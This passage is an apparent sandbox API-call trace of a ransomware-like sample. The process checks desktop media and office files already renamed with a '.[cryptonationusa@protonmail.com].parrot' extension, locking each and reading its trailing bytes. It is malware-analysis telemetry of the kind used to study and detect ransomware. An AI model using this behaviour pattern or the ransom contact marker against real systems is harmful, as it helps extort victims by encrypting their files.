dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x5bd0, nNumberOfBytesToLockHigh=0x0) returned 1 [0034.735] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0034.735] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0034.735] CloseHandle (hObject=0x23c) returned 1 [0034.735] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\AGzt.m4a.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\agzt.m4a.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0034.735] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x1068 [0034.735] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1180, nNumberOfBytesToLockHigh=0x0) returned 1 [0034.735] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0034.735] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0034.735] CloseHandle (hObject=0x23c) returned 1 [0034.735] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bv I ONxrd0GJ6arExzv.wav.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bv i onxrd0gj6arexzv.wav.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0034.735] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0xb7f8 [0034.735] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xb910, nNumberOfBytesToLockHigh=0x0) returned 1 [0034.735] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0034.736] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0034.736] CloseHandle (hObject=0x23c) returned 1 [0034.736] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\DLWTdGwm.mp4.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\dlwtdgwm.mp4.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0034.736] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x4ce8 [0034.736] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4e00, nNumberOfBytesToLockHigh=0x0) returned 1 [0034.736] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0034.736] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0034.736] CloseHandle (hObject=0x23c) returned 1 [0034.736] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\enOc.avi.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\enoc.avi.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0034.736] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x6508 [0034.736] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x6620, nNumberOfBytesToLockHigh=0x0) returned 1 [0034.736] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0034.736] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0034.737] CloseHandle (hObject=0x23c) returned 1 [0034.737] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\gagRZ0deZcKJ.jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\gagrz0dezckj.jpg.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0034.737] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x84f8 [0034.737] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x8610, nNumberOfBytesToLockHigh=0x0) returned 1 [0034.737] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0034.737] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0034.737] CloseHandle (hObject=0x23c) returned 1 [0034.737] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\gMaJkZ-LS.mp4.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\gmajkz-ls.mp4.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0034.737] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0xd8a8 [0034.737] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xd9c0, nNumberOfBytesToLockHigh=0x0) returned 1 [0034.737] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0034.737] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0034.737] CloseHandle (hObject=0x23c) returned 1 [0034.738] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M9W9cW D4erSb.swf.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\m9w9cw d4ersb.swf.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0034.738] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x1198 [0034.738] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x12b0, nNumberOfBytesToLockHigh=0x0) returned 1 [0034.738] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0034.738] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0034.738] CloseHandle (hObject=0x23c) returned 1 [0034.738] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Mhr9yKj2I54rVDU.mp3.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mhr9ykj2i54rvdu.mp3.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0034.738] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0xb3a8 [0034.738] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xb4c0, nNumberOfBytesToLockHigh=0x0) returned 1 [0034.738] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0034.738] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0034.738] CloseHandle (hObject=0x23c) returned 1 [0034.738] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mK57Q.odp.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mk57q.odp.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0034.738] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0xcb48 [0034.739] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xcc60, nNumberOfBytesToLockHigh=0x0) returned 1 [0034.739] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0034.739] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0034.739] CloseHandle (hObject=0x23c) returned 1 [0034.739] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mubD-jfE31YCV-.mkv.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mubd-jfe31ycv-.mkv.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0034.739] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x2918 [0034.739] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2a30, nNumberOfBytesToLockHigh=0x0) returned 1 [0034.739] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0034.739] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0034.739] CloseHandle (hObject=0x23c) returned 1 [0034.739] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\NOP7WMJp.odp.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\nop7wmjp.odp.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0034.739] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0xe668 [0034.739] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xe780, nNumberOfBytesToLockHigh=0x0) returned 1 [0034.739] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0034.740] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0034.740] CloseHandle (hObject=0x23c) returned 1 [0034.740] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Ogu4gyQ0eFgqTNCxSOv.png.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ogu4gyq0efgqtncxsov.png.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0034.740] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0xfb08 [0034.740] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xfc20, nNumberOfBytesToLockHigh=0x0) returned 1 [0034.740] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0034.740] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0034.740] CloseHandle (hObject=0x23c) returned 1 [0034.740] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\OMMQxeXh.mp3.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ommqxexh.mp3.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0034.740] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0xbb78 [0034.740] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xbc90, nNumberOfBytesToLockHigh=0x0) returned 1 [0034.740] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0034.740] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0034.740] CloseHandle (hObject=0x23c) returned 1 [0034.741] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\rZxZz.m4a.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\rzxzz.m4a.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0034.741] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x14d8 [0034.741] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x15f0, nNumberOfBytesToLockHigh=0x0) returned 1 [0034.741] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0034.741] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0034.741] CloseHandle (hObject=0x23c) returned 1 [0034.741] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\S2zcxZhP3BFnWbv5.png.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\s2zcxzhp3bfnwbv5.png.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0034.741] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x122e8 [0034.741] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x12400, nNumberOfBytesToLockHigh=0x0) returned 1 [0034.741] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0034.741] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0034.741] CloseHandle (hObject=0x23c) returned 1 [0034.741] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sNPOthw9LEkpHa.mp4.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\snpothw9lekpha.mp4.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0034.742] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x4fd8 [0034.742] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x50f0, nNumberOfBytesToLockHigh=0x0) returned 1 [0034.742] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0034.742] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0034.742] CloseHandle (hObject=0x23c) returned 1 [0034.742] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\xPcPJw2tmQ2ALIu.doc.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\xpcpjw2tmq2aliu.doc.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0034.742] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x18558 [0034.742] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x18670, nNumberOfBytesToLockHigh=0x0) returned 1 [0034.742] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0034.742] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0034.742] CloseHandle (hObject=0x23c) returned 1 [0034.743] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\xpdd09ihfgv9h.m4a.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\xpdd09ihfgv9h.m4a.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0034.743] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x6828 [0034.743] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x6940, nNumberOfBytesToLockHigh=0x0) returned 1 [0034.743] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0034.743] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0034.743] CloseHandle (hObject=0x23c) returned 1 [0034.743] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zX4O4MK8g.flv.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zx4o4mk8g.flv.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0034.743] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x3308 [0034.743] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3420, nNumberOfBytesToLockHigh=0x0) returned 1 [0034.743] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0034.743] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0034.743] CloseHandle (hObject=0x23c) returned 1 [0034.743] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606160 | out: hHeap=0x5b0000) returned 1 [0034.743] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d290 | out: hHeap=0x5b0000) returned 1 [0034.743] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5eb818 | out: hHeap=0x5b0000) returned 1 [0034.743] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5eb870 | out: hHeap=0x5b0000) returned 1 [0034.743] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d358 | out: hHeap=0x5b0000) returned 1 [0034.744] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e9d08 | out: hHeap=0x5b0000) returned 1 [0034.744] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e9ca0 | out: hHeap=0x5b0000) returned 1 [0034.744] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0838 | out: hHeap=0x5b0000) returned 1 [0034.744] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5eb7c0 | out: hHeap=0x5b0000) returned 1 [0034.744] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5eb8c8 | out: hHeap=0x5b0000) returned 1 [0034.744] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5eb920 | out: hHeap=0x5b0000) returned 1 [0034.744] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5eb978 | out: hHeap=0x5b0000) returned 1 [0034.744] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5eb9d0 | out: hHeap=0x5b0000) returned 1 [0034.744] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d330 | out: hHeap=0x5b0000) returned 1 [0034.744] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d380 | out: hHeap=0x5b0000) returned 1 [0034.744] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d3a8 | out: hHeap=0x5b0000) returned 1 [0034.744] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e12f0 | out: hHeap=0x5b0000) returned 1 [0034.744] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d3d0 | out: hHeap=0x5b0000) returned 1 [0034.744] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cc8d0 | out: hHeap=0x5b0000) returned 1 [0034.744] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d6de8 | out: hHeap=0x5b0000) returned 1 [0034.744] HeapFree (in: 